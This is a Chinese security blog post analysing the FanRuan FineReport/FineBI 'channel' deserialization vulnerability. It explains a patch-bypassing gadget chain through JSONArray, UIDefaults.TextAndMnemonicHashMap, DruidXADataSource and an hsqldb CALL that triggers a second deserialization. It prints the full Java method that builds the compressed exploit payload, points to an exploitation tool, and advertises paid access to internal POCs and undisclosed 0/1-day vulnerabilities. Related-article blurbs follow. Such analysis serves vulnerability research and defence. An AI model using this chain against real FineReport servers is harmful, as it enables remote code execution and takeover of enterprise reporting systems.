[代码审计]帆软channel反序列化漏洞hsql链浅析利用

帆软 FineReport/FineBI channel反序列化漏洞分析 漏洞分析 阅读详情
AI摘要

本文对帆软channel反序列化漏洞hsql链进行利用分析。在Jackson原生反序列化利用链中,介绍了触发writeValueAsString方法的不同方式及补丁过滤情况,还提及用javax.swing.UIDefaults.TextAndMnemonicHashMap触发toString。分析了完整利用链所需条件,如差一个getter,还介绍了DruidXADataSource类及hsqldb的利用,最后提到工具利用和参考链接。

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

利用链分析

首先,在Jackson原生反序列化利用链中可以知道,com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString方法会调用传入的对象的无参getter方法,利用com.fasterxml.jackson.databind.node.POJONode类来触发writeValueAsString方法。

在其高版本中,上述类已被加入黑名单,但JSONArray类的toString方法也可以调用到writeValueAsString方法。

调用任意类的toString方法,在第一次补丁中过滤了javax.management.BadAttributeValueExpException,第二次补丁中过滤了com.sun.org.apache.xpath.internal.objects.XString。

可以用大佬挖掘的javax.swing.UIDefaults.TextAndMnemonicHashMap来触发toString,其get方法中调用了key.toString(),key为传入的参数。

现在就是差一个getter来实现完整的利用链,第二次补丁过滤了java.security.SignedObject,无法使用java.security.SignedObject#getObject来实现二次反序列化。

DruidXADataSource类的getXAConnection方法会创造jdbc连接。

而因为存在hsqldb依赖,hsqldb可以利用CALL方法来调用公共静态方法,比如利用javax.naming.InitialContext#doLookup造成jndi注入,不过jndi注入是需要出网的,可以利用com.fr.third.org.hibernate.internal.util.SerializationHelper#deserialize来造成二次反序列化,最终代码。

public static byte[] getPayload(byte[] bytes) throws Exception {

    byte[]  bytes2 = utils.GzipUncompress(Hibernate.getPayload(bytes));
    String hex = utils.bytesToHex(bytes2);

    String call = "call \"com.fr.third.org.hibernate.internal.util.SerializationHelper.deserialize\"(...............);";

    DruidXADataSource druidXADataSource = new DruidXADataSource();
    List<?> list_3 = new ArrayList<>(Arrays.asList(druidXADataSource));
    List<?> list_1 = new ArrayList<>(Arrays.asList(list_3));
    List<?> list_2 = new ArrayList<>(Arrays.asList("1"));
    JSONArray jsonArray_1 = new JSONArray(list_1);
    JSONArray jsonArray_2 = new JSONArray(list_2);

    Constructor<?> t_constructor = utils.getConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    Object textAndMnemonicHashMap_1 = t_constructor.newInstance();
    Object textAndMnemonicHashMap_2 = t_constructor.newInstance();
    Method putmethod = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getSuperclass().getDeclaredMethod("put", Object.class, Object.class);
    putmethod.setAccessible(true);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, 11);
    putmethod.invoke(textAndMnemonicHashMap_2, jsonArray_2, jsonArray_2);

    utils.setFFFieldValue(druidXADataSource,"statLogger",null);
    utils.setFFFieldValue(druidXADataSource,"logWriter",null);
    utils.setFFFieldValue(druidXADataSource,"transactionHistogram",null);
    utils.setFFieldValue(druidXADataSource,"initedLatch",null);
    utils.setFFFieldValue(druidXADataSource,"initialSize",1);
    utils.setFFFieldValue(druidXADataSource,"jdbcUrl","jdbc:hsqldb:mem:test");
    utils.setFFFieldValue(druidXADataSource,"validationQuery",call);

    Hashtable<Object,Object> hashtable = new Hashtable<>();
    hashtable.put(textAndMnemonicHashMap_1,1);
    hashtable.put(textAndMnemonicHashMap_2,1);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, jsonArray_1);

    byte[] ser = utils.serialize(hashtable);
    byte[] payload = utils.GzipCompress(ser);
    return payload;
}

反序列化调用栈:

工具利用

参考https://github.com/7wkajk/Frchannel工具进行二开,加入星球获取。

参考链接

https://xz.aliyun.com/t/15432

https://xz.aliyun.com/t/14732

https://github.com/7wkajk/Frchannel

关于星球

星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)感谢师傅们的支持!!

临近中秋,在此也提前祝师傅们中秋快乐。也是申请了10张20元优惠券以及20张10元优惠券供师傅们进星球参观,感谢支持。

帆软 FineReport之channel反序列化漏洞复现的简单记录(不含EXP) FineReport 的包和BI不一样,无法原样照搬,最后还是自己找到了个利用链,可以实现任意文件上传,不知道有没有可以直接RCE的大佬,可以传授我下~~。 阅读详情

相关推荐

帆软FineReport/FineBI channel反序列化漏洞深度解析:从原理到实战利用

本文深度解析了帆软FineReport/FineBI中存在的channel反序列化漏洞。文章从漏洞原理入手,详细剖析了攻击者如何通过`/webroot/decision/remote/design/channel`接口,利用Java反序列化机制实现远程命令执行,并探讨了绕过黑名单的二次反序列化利用技巧。同时,提供了从环境搭建、漏洞复现到实战利用的完整路径,并给出了关键的修复与安全加固建议。

weixin_29325007的博客 846

反序列化漏洞

反序列化漏洞

F2444790591的博客 2258

帆软 FineReport channel反序列化漏洞实战解析:从原理到文件上传利用

本文深入解析帆软FineReport channel反序列化漏洞,从漏洞原理到文件上传利用链构建进行全面剖析。文章详细介绍了该漏洞在FineReport 8.0至9.0版本中的影响范围,以及如何绕过特殊限制实现文件上传。通过实战案例演示了利用AspectJWeaver组件构造恶意链的过程,并提供了防御建议与修复方案,帮助安全人员更好地理解和防范此类反序列化漏洞。

weixin_28710999的博客 520

反序列化漏洞汇总

反序列化漏洞汇总1、概述序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类...

weixin_29324013的博客 4万+

帆软FineReport/FineBI反序列化漏洞深度剖析与实战利用

Java反序列化漏洞是Web安全领域中的一种高危漏洞类型,其核心原理在于Java的`ObjectInputStream.readObject()`方法在反序列化不可信数据时,会依据序列化流中的类描述信息自动调用相关类的`readObject`等方法。如果数据流中包含了精心构造的恶意对象链(Gadget Chain),就可能触发危险操作,如反射调用、动态类加载或JNDI注入,最终导致远程代码执行。这项技术的价值在于其攻击链往往隐蔽,能绕过部分传统防护,直接威胁应用服务器安全,常见于依赖了Apache Comm

weixin_30955617的博客 399

帆软FineReport/FineBI channel反序列化漏洞深度解析与实战复现

本文深度解析了帆软FineReport/FineBI产品中channel接口存在的反序列化漏洞。该漏洞允许攻击者通过构造恶意序列化数据,在未授权或低权限下实现远程代码执行,影响范围广泛。文章详细阐述了漏洞原理、影响版本,并提供了从环境搭建到实战复现的完整流程,同时分析了攻击流量特征及高版本修复后的潜在绕过方式。

red88的博客 1211

Java反序列化审计实战:报表平台channel模块hsql链拆解与加固

Java反序列化机制本意是解决对象跨进程传输问题,但readObject在恢复对象时会自动触发内部方法。若服务端对外部输入过度信任,攻击者就能利用可序列化危险组件拼接调用链,最终造成远程代码执行或资源劫持。这类问题在企业级报表平台尤为突出,因为其传输链路繁杂,且常引入HyperSQL等第三方库。本文从代码审计视角切入,以某报表平台channel模块为实例,系统梳理反序列化攻击面的识别方法,详细拆解hsql链的触发原理,揭示JdbcDataSource如何被用作可控支点,并指出黑名单机制的局限性。随后给出实战

weixin_42539414的博客 214

FineReport/FineBI channel反序列化漏洞深度剖析与实战复现

Java反序列化是一种将对象状态转换为字节流以便存储或传输,并在需要时重建对象的技术。其核心原理在于通过ObjectInputStream读取字节流并调用readObject方法还原对象。然而,当程序对不可信的数据进行反序列化且未做严格校验时,攻击者可能利用Java生态中广泛存在的危险基础库(如Apache Commons Collections)构造恶意序列化数据,串联成一条从反序列化入口到命令执行终点的利用链(Gadget Chain),从而引发远程代码执行等高危风险。这种漏洞在依赖Java序列化进行通

weixin_29741447的博客 326

ysoserial反序列化gadget原理-part1:URLDNS/CommonsCollections1

文章目录前言URLDNS依赖payload构造gadget原理简述Groovy1依赖payload构造gadgetCommons-Beanutils1 前言 其实反序列化利用链分析的文章写起来没啥意思,无非就是函数调用栈的复述,序列化对象(payload)的构造无非就是为了满足某条函数调用的路径而已。如果没有亲自调试过,也是看不懂别人的文章的。但好记性不如烂笔头,况且笔者记性也不是很好,所以还是来篇流水账记录一下之前的学习。 URLDNS 依赖 无 payload构造 注:ysoserial工具里说的pa

mole_exp的博客 3552

反序列化(Unserialize)漏洞详解

序列化和反序列化漏洞分析   序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。   反序列化(unserialize) 就是把序列化之后的字符串在转化为对象。 其实在序列化的过程中是没有任何的漏洞的,产生漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞,最早发现这些漏洞的大佬是真的牛。 一、简单的魔法函数 魔法函数 调用

qq_49422880的博客 1万+

帆软报表 channel 反序列化漏洞复现

帆软FineReport、FineBI 存在反序列化漏洞,攻击者可向 /webroot/decision/remote/design/channel 接口发送精心构造的反序列化数据,在目标服务器上执行任意代码,获取服务器权限。

0xSec 1万+

工具分享 | Frchannel - 帆软报表反序列化漏洞利用工具 channel反序列化

Frchannel - 帆软报表 channel反序列化利用工具注入内存马

panda的博客 885

帆软数据决策系统漏洞_帆软报表漏洞总结

一、帆软数据决策系统漏洞背景,FineReport报表软件是帆软软件(中国)公司自主研发的一款纯Java编写的企业级web报表软件。主要针对2012年7.0版本存在一些安全漏洞问题。 二、帆软数据决策系统漏洞版本查看弱口令漏洞提供了访问此页面方法 三、帆软数据决策系统漏洞漏洞总结 1.未授权访问漏洞 http://ip/ReportServer?op=fr_server&cmd=sc_visitstatehtml&showtoolbar=false //未授权访问内网ip的日志 http://ip/Repo

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 4713

任意文件读取

任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。步骤1:代码审计,分析原理我们已经知道,用户的头像显示,是使用file_get_contents函数来读取的,而它读取的内容是从session里面获取的。那么session的值又是从哪里获取的?使用全局搜索法对其进行搜索:$_SESSION['avatar']

kuiguowei的博客 8803

三菱PLC软件GX-Works2使用和循环左移指令实现流水灯程序

(2)方式2:双击打开全局软元件注释,软元件名称手动输入,如M辅助继电器输入M0、D寄存器输入D0,然后找到对应的寄存器输入自定义的功能名字即可。链接:https://pan.baidu.com/s/14ZaBIq4mBirIqfd9Ja3AiA。链接:https://pan.baidu.com/s/1nuQz1OgS8bmagPE8T-PBkQ。链接:https://pan.baidu.com/s/1oKGi_bdLN5HI4HYxSXEdlA。(1)方式1:将定义好变量功能的CSV文件导入即可。

panjinliang066333的博客 1万+

Security Onion的部署(超详细)

本文介绍了开源入侵检测系统securityonion的部署

qq_72583325的博客 6070

被攻击的一些重点系统漏洞整理

一、OA系统 泛微(Weaver-Ecology-OA) ???? 泛微OA E-cology RCE(CNVD-2019-32204) - 影响版本7.0/8.0/8.1/9.0 https://xz.aliyun.com/t/6560 ???? 泛微OA WorkflowCenterTreeData接口注入(限oracle数据库) https://zhuanlan.zhihu.com/p/86082614 ???? 泛微ecology OA数据库配置信息泄露 https://www.cnblogs.co

鱼的博客 1811

高分7(GF7)卫星数据制作平原地区DSM/DEM(三)——可信度分割

李国春(接上)

副组长的博客 1714

4.3-Channel 和 Flow:Flow 的功能定位、工作原理及应用场景

一、Flow 的功能与定位Flow 的功能定位可以将它看成是一个协程版的 Sequence,Sequence 具备惰性机制能做到边生产边消费的能力,但 Sequence 限制了只能自身的挂起函数使用,所以就需要 Flow,Flow 具备 Sequence 的能力并且支持其他挂起函数在 Flow 的使用。Flow 提供了一个支持挂起函数的数据流。二、Flow 的工作原理和应用场景1、Flow 的核心工作原理。

Vincent的博客 1378

cuda安装时出现错误 Unable to locate package cuda-toolkit-12-4

cuda安装时出现错误 Unable to locate package cuda-toolkit-12-4

4867

大尺寸智能车的CAN驱动控制器制作(一)

本驱动板使用8个半H桥BTS7960驱动,使用CAN接口于车体主控制器通讯,最大承受电压48V 电流20A ,主控为STM32F103VET6,电机控制频率为18KHz,CAN通讯芯片为TJA1042T,全驱动板6-24V宽电压供电,采用24V降5V,5V降3.3V的方案供电,其中经过AMS1117作为降压芯片,可以有效降低主控损毁几率。在这里可以看到555电机相比于其他电机的功率大很多,所以需要大功率的电机驱动,在以往的电机驱动选型中选择了TB6612,L298N等小功率电机驱动。

技术的力量能够改变世界 569
上一篇: [工具推荐]Hessian反序列化漏洞利用工具分享
下一篇: [技术分享]记一次JeecgBoot实战分享
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值